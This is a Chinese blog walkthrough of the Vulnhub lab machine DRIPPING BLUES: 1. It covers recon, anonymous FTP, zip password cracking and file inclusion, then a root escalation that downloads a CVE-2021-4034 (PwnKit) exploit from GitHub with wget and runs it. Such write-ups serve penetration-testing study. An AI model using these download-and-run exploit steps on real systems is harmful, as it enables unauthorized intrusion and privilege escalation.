每周打靶练习之DRIPPING BLUES: 1

最新推荐文章于 2024-06-21 11:34:01 发布
最新推荐文章于 2024-06-21 11:34:01 发布
阅读量898 收藏 11
点赞数 20
分类专栏： 靶机渗透测试 文章标签： web安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/chhsbsjs/article/details/136114420
版权

 导入VMware设置为NAT模式

开启kali使用命令arp-scan -l查看该网卡存活主机ip：192.168.13.137

使用nmap详细查看该IP的端口开放信息nmap，nmap -A 192.168.13.137，开放了21，22，80端口。

接下来访问一下80端口，是一段文字

driftingblues is hacked again so it's now called drippingblues. :D hahaha
by
travisscott & thugger

DriftingBlues 再次被黑客入侵，所以它现在被称为 DrippingBlues。:D哈哈哈

由特拉维斯斯科特和暴徒

接下来只能对目录进行一个扫描，使用dirmap，发现有一个login页面和robots.txt

访问login页面发现就是刚刚的页面没什么用

访问robots.txt发现/dripisreal.txt和/etc/dripispowerful.html

访问一下dripisreal.txt

hello dear hacker wannabe,

go for this lyrics:

https://www.azlyrics.com/lyrics/youngthug/constantlyhating.html

count the n words and put them side by side then md5sum it

ie, hellohellohellohello >> md5sum hellohellohellohello

it's the password of ssh

你好亲爱的黑客爱好者，

选择这句歌词：

https://www.azlyrics.com/lyrics/youngthug/constantlyhating.html

数数 n 个单词并将它们并排放置，然后 md5sum 它

即，hellohellohellohello >> md5sum hellohellohellohello

这是SSH的密码

接下来去访问一下https://www.azlyrics.com/lyrics/youngthug/constantlyhating.html

打开歌词的URL后发现单词量是真不少，看起来多少有点扯，假设这不是靶场环境，能将该文件放在服务器中的，除了网站管理员就是入侵者了，管理员没有必要将正确的ssh密码告诉黑客除非这是个圈套，如果是入侵者它肯定不希望自己拿下的成果被其他人掠夺，那么此处提示让入侵者去算单词并列的md5，最可能的目的是为了扰乱其他入侵者的思路，拖延时间，从而为继续扩大自己的攻击成果争取有利条件。所以我们先暂且跳过这个疑似圈套的dripisreal.txt，从其他方面着手尝试。

接下来去访问一下/etc/dripispowerful.html发现访问不了

这里出现了/etc目录，那应该就是可以访问的到了，只是不能直接访问应该使用文件包含去查看该/etc目录下的文件，后面怎么都访问不了，看了一下大佬们的操作要利用到21端口。

我们使用kali看看能不能使用匿名登陆进去如果不行就只能爆破了。

使用匿名anonymous和空密码可以登录进来看到有一个压缩包

然后把他下载到本地查看发现有密码需要进行爆破

这里因为kali没有安装fcrackzip工具，所以我就拖到本机运用zip破解工具进行破解出密码为072528035

打开发现让我们注意drip，请关注drip。

刚刚文件包含将对象名file换成drip再次尝试发现可以访问到该文件

password is: imdrippinbiatch密码是这么多

发现可以登录进靶机但是不是root权限，按理应该使用ssh远程登录的，我这里懒得换了就在靶机上继续实验。

该用户不让使用shudo命令

那就从内核入手uname -a

通过收集靶机的操作系统信息，符合利用条件的提权漏洞有：

Linux DirtyPipe权限提升漏洞 CVE-2022-0847 (需满足Linux内核 5.8 及之后版本)

Linux kernel权限提升漏洞 CVE-2021-3493(需满足Ubuntu 20.04 LTS)

Linux sudo权限提升漏洞 CVE-2021-3156（需满足Sudo 1.8.2 - 1.8.31p2）

Linux Polkit权限提升漏洞 CVE-2021-4034（需满足2009年5月至今发布的所有Polkit 版本）

但是由于系统环境中无make和gcc组件，导致大部分满足条件的提权漏洞无法利用。
通过进程筛查，发现存在polkit组件并且在运行，而polkit对环境要求不高，正好可以利用已有的python环境去运行POC。

ps -ef 是用标准的格式显示进程的

在GitHub上找到提权漏洞

https://github.com/Almorabea/Polkit-exploit

wget https://github.com/nikaiw/CVE-2021-4034/archive/refs/heads/master.zip

unzip master.zip
cd CVE-2021-4034-master/
python3 cve2021-4034.py

提权成功进入root目录，渗透测试完成。

ChefY30
关注
  • 20
    点赞
  • 踩
  • 11
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
专栏目录
【Vulnhub靶场】DRIPPING BLUES: 1
「 虚幻私塾」
01-26 389
Python微信订餐小程序课程视频 https://edu.csdn.net/course/detail/36074 Python实战量化交易理财系统 https://edu.csdn.net/course/detail/35475 环境准备 下载靶机，导入到vmware里面，这应该不用教了吧 这道题一开始并没有给我们靶机的ip地址，所以我们要自己探测一下，使用命令可以探测IP地址 arp-scan -l 攻击机IP地址为：192.168.2.15 靶机IP地址为：192.168.2.16 渗透开始
Vulnhub-DRIPPING BLUES: 1
Re1_zf的博客
01-29 295
1、密码爆破fcrackzip2、兔子洞注意（故意放出的疑似漏洞点，主要是为了让攻击者浪费时间）3、文件包含漏洞，需要找到参数4、ssh连接注意用户名小写5、polkited提权：https://github.com/Almorabea/Polkit-exploit。
vulnhub实战：DRIPPING BLUES 1
huangyongkang666的博客
04-30 2773
vulnhub实战：DRIPPING BLUES: 1 1.安装部署 下载链接： https://download.vulnhub.com/drippingblues/drippingblues.ova 下载之后使用VMware打开.ova文件，打开结果，设置为Net模式 攻击机：kail 2.信息收集 1.扫描此IP段中存活的靶机IP arp-scan -l 找到靶机ip：192.168.241.135 2.端口扫描 nmap -A -p- -T4 192.168.241.135 发现开放了
vulnhub刷题记录（Dripping Blues: 1）
ailx10
08-21 251
英文名称：Dripping Blues: 1中文名称：滴水蓝调：1发布日期：2021 年 9 月 19 日难度：容易描述：关于 vm：测试并从 virtualbox 导出。启用 dhcp 和嵌套 vtx/amdv。您可以通过电子邮件与我联系以获取故障排除或问题。下载地址：https://www.vulnhub.com/entry/empire-breakout,751/ 1、主机发现，IP地址为...
fun-ids:阅读 node.js 的 ID 很有趣
06-15
dripping-loathing 惊人的。 简单的 ID 供您大声说出和分享。 用法 只需npm install fun-ids然后： var fun_ids = require('fun-ids'); console.log(fun_ids.new_id()); 根据需要编辑adjectives.json和nouns.json ...
厨房里常用的英语词汇.doc
10-08
1. **厨房用具**： - **Kettle**：水壶，通常用于烧开水。 - **Whistling kettle**：鸣笛水壶，烧开时会发出哨声提醒。 - **Teapot**：茶壶，用于泡茶。 - **Toaster**：烤面包机，用来烤面包片。 - **...
Obi Fluid 3.2
10-12
- Dripping fluid - Splash effects What NOT to use it for: - Large scale fluid simulations - Pools, oceans, lakes, floods All physical properties or the fluid are adjustable: viscosity, density, ...
英语作文结尾美句写作方法
03-05
Concentrated energy, like constantly dripping water wearing holes in hard rock, will enable us to break down any obstacles. Persistence is also necessary for success. Do not give up no matter what ...
Python 2.1 Bible .pdf
08-18
Preface P ython is an object-oriented, interpreted programming language useful for a wide range of tasks, from small scripts to entire ...pages and you’ll see that they are dripping with code examples.
【Vulnhub靶场】DRIPPING BLUES: 1 通关writeup
weixin_44588899的博客
05-17 601
环境 下载地址：https://download.vulnhub.com/drippingblues/drippingblues.ova.torrent 攻击机地址： 192.168.0.106 靶机地址： 使用命令： arp-scan -l 探测发现是：192.168.0.104 开始探测 nmap -T4 -p- -A 192.168.0.104 发现开放21、22、80端口，这里发现21可以匿名访问，还可以下载一个压缩包，下载打开需要密码 使用工具爆破密码 fcrackzip -D
drippingblues-靶机渗透
weixin_52111404的博客
08-26 583
渗透,文件包含,使用cve提权,使用正在运行进程的漏洞进行提权
vulnhub靶场-DRIPPING BLUES: 1
yc11223344的博客
03-25 224
解压之后获得respectmydrip.txt文件和secret.zip文件，respectmydrip.txt文件是一条信息：just focus on "drip"。查看下具有root权限的文件，发现存在一个/usr/lib/policykit-1/polkit-agent-helper-1，可以使用CVE-2021-4034漏洞进行提权。开放了21，22，80端口，开放了ftp服务，ssh服务，web服务。，查看到root目录下有root.txt文件，进行打开。压缩包加压需要密码，先收集其他信息。
【网络安全】网络安全威胁及途径
衍生星球的博客
06-17 199
目前，网络的主要应用包括：电子商务、网上银行、股票、证券、期货交易、即时通信、邮件、网游、下载文件或点击链接等，这些应用都存在大量的安全威胁和隐患。网络安全管理中出现的漏洞和疏忽都属于人为因素，网络安全中最突出的问题是缺乏完善的法律法规、管理准则规范和制度、网络安全组织机构及人员，不够重视或缺少安全检测及实时有效的监控、维护和审计。网络安全的威胁和风险主要涉及网络系统研发、结构、层次、范畴、应用和管理等，要做好网络安全防范，必须进行认真深入的调研、分析和研究，以解决网络系统的安全风险及隐患。
网络安全（补充）
m0_62207482的博客
06-15 684
物理安全威胁一般分为自然安全威胁和人为安全威胁。自然安全威胁包括地震、洪水、火灾、鼠害、雷电；；；；人为安全威胁包括盗窃、爆炸、毁坏、硬件安全 防火墙白名单策略：只允许符合安全规则的包通过防火墙，其他通信包禁止 防火墙名单策略：禁止与安全规则相冲突的包通过防火墙，其他通信包都允许 将入侵检测系统置于防火墙内部，使得很多对网络的攻击首先被防火墙过滤，也就是防火墙是首当其冲的，从而减少了对内部入侵检测系统的干扰，提高入侵检测系统的准确率，但是其检测能力不会变化 通过VPN技术，企业可以在远程用户、分
网络安全练气篇——OWASP TOP 10
weixin_55762309的博客
06-13 1278
OWASP（开放式Web应用程序安全项目）是一个开放的社区，由非营利组织 OWASP基金会支持的项目。对所有致力于改进应用程序安全的人士开放，旨在提高对应用程序安全性的认识。其最具权威的就是“10项最严重的Web 应用程序安全风险列表” ，总结并更新Web应用程序中最可能、最常见、最危险的十大漏洞，是开发、测试、服务、咨询人员应知应会的知识。最重要的版本应用程序中最严重的十大风险。
网络安全筑基篇——SQL注入
weixin_55762309的博客
06-17 1144
SQL（Structured Query Language，结构化查询语言）是一种用于管理关系型数据库系统的语言，它可以用于创建、修改和删除数据库中的表和记录，以及执行查询操作。简单易学：SQL语法相对简单，易于理解和学习。高效灵活：SQL可以执行快速和复杂的数据库操作，如插入、更新、删除和查询。标准化：SQL是一种标准化的语言，大多数关系型数据库系统都支持SQL。表达能力强：SQL支持各种复杂的查询和数据操作，可以根据需要进行数据的筛选、排序、合并等操作。
[网络安全产品]---EDR
最新发布
嘿嘿嘿
06-21 1057
EDR（Endpoint Detection and Response，端点检测和响应）,这是一种技术或者说是解决方案，它记录端点上的行为，使用数据分析和基于上下文的信息检测来发现异常和恶意活动，并记录有关恶意活动的数据，使安全团队能够调查和响应事件。此外EDR 解决方案会在每台设备上安装一个软件代理，以确保整个数字生态系统对安全团队可见，将监控终端数据传送给EDR平台，对于终端安全的防御还是基于EDR平台，所以减轻的终端为保护自身安全所牺牲的性能。-------这里我觉得和态势感知的过程异曲同工之妙。
模板方法模式说明及应用案例
03-29
模板方法模式是一种行为型设计模式，它定义了一个算法的骨架，将一些步骤延迟到子类中实现，以使子类可以在不改变算法结构的情况下重新定义算法中的某些步骤。 模板方法模式的核心思想是：将相同的代码抽象到一个父类中，将不同的代码实现延迟到子类中，以实现代码的复用和解耦。 应用案例： 一个经典的应用案例是咖啡和茶的制作过程。咖啡和茶的制作过程很相似，但是细节上还是有些不同的，所以可以使用模板方法模式来实现。 首先，定义一个饮料抽象类，它包含了制作饮料的模板方法和一些基本方法： ```java public abstract class Beverage { // 制作饮料的模板方法 public final void prepareBeverage() { boilWater(); brew(); pourInCup(); addCondiments(); } // 烧水 public void boilWater() { System.out.println("Boiling water..."); } // 把饮料倒入杯子中 public void pourInCup() { System.out.println("Pouring into cup..."); } // 把饮料冲泡 public abstract void brew(); // 添加调料 public abstract void addCondiments(); } ``` 然后，定义咖啡和茶的具体类，它们继承自饮料抽象类，重写了抽象方法： ```java public class Coffee extends Beverage { public void brew() { System.out.println("Dripping coffee through filter..."); } public void addCondiments() { System.out.println("Adding sugar and milk..."); } } public class Tea extends Beverage { public void brew() { System.out.println("Steeping the tea..."); } public void addCondiments() { System.out.println("Adding lemon..."); } } ``` 最后，客户端可以直接使用咖啡和茶的对象来制作饮料： ```java public class Client { public static void main(String[] args) { Beverage coffee = new Coffee(); coffee.prepareBeverage(); Beverage tea = new Tea(); tea.prepareBeverage(); } } ``` 输出结果为： ``` Boiling water... Dripping coffee through filter... Pouring into cup... Adding sugar and milk... Boiling water... Steeping the tea... Pouring into cup... Adding lemon... ```

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值